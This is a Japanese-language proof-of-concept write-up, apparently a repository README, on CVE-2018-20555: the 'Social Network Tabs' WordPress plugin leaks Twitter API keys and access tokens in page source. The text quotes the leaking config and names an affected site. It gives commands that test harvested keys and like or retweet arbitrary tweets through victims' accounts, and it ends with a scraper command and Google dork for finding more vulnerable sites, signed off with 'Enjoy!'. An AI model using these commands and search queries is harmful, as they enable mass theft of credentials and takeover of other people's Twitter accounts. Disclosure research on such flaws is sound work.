
Social Network Tabs Wordpressプラグインの脆弱性 - CVE-2018-20555
Design Chemical社製のWordPressプラグイン「Social Network Tabs」は、ユーザーのTwitterのaccess_token、access_token_secret、consumer_key、consumer_secretを2回漏洩させており、これによりTwitterアカウントが乗っ取られる可能性があります。
これは、Twitterウィジェットが表示されるページ内の以下のコード行によって引き起こされます:
jQuery(document).ready(function ($) {
var config = {
widgets: "twitter,facebook,youtube",
twitterId: "[redacted]",
facebookId: "[redacted]",
youtubeId: "[redacted]",
twitter: {
url: "https://www.rainx.com/wp-content/plugins/social-network-tabs/inc/dcwp_twitter.php?1=%5Breadcted%5D&2=%5Bredacted%5D&3=%5Bredacted%5D&4=%5Bredacted%5D …",
title: "Latest Tweets",
follow: "Follow",
followId: "",
limit: "10",
retweets: true,
replies: true,
images: "thumb",
consumer_key: "[redacted]",
consumer_secret: "[redacted]",
access_token: "[redacted]",
access_token_secret: "[redacted]"
},
}
});
Publicwwwのおかげで、以下の検索クエリを使用して、539の脆弱なWebサイトからTwitterのaccess_token、access_token_secret、consumer_key、consumer_secretを取得しました:
すべてのキーはtwitter_keys.csvにあります。
twitter_keys.csv内のTwitter APIキーをテストする
python test_twitter_api_keys.py -t
このコマンドを初めて実行したとき、446のTwitterアカウントの情報を取得しました。リストには2つの認証済みアカウントと、10K以上のフォロワーを持つ複数のアカウントが含まれていたことに言及する価値があります。すべての脆弱なアカウントはvulnerable_accounts.txtにあります。
任意のツイートにいいねする
python test_twitter_api_keys.py -l [tweet_id]
任意のツイートをリツイートする
python test_twitter_api_keys.py -r [tweet_id]
このコマンドを初めて実行したとき、任意のツイートに127回いいねすることができました。これは、127のTwitter APIキーが読み取り/書き込み権限を持っていたことを示しており、つまり、このキー漏洩により127のTwitterアカウントを乗っ取ることができました(プロフィール画像の変更、いいね、リツイート、バイオの変更など)。
多くのWebサイト、ひいては多くのTwitterアカウントが依然としてこの問題に対して脆弱です。これらを特定するために、スクレイパーを作成しました。
cd TwitterApiKeysSearchEngine/
scrapy crawl TwitterApiKeysSpider -a keyword="inurl:/inc/dcwp_twitter.php?1=" -a se=google -a pages=10
このGoogle検索クエリの結果の総数は3550です。最初の9ページのうち、78のキーを取得できました(86%)。お楽しみください!
Twitterでフォローしてください!また、私の仕事の一部はhttps://fs0c131y.comで見ることができます。
調査とPoCは❤️を込めて@fs0c131yによって作成されました。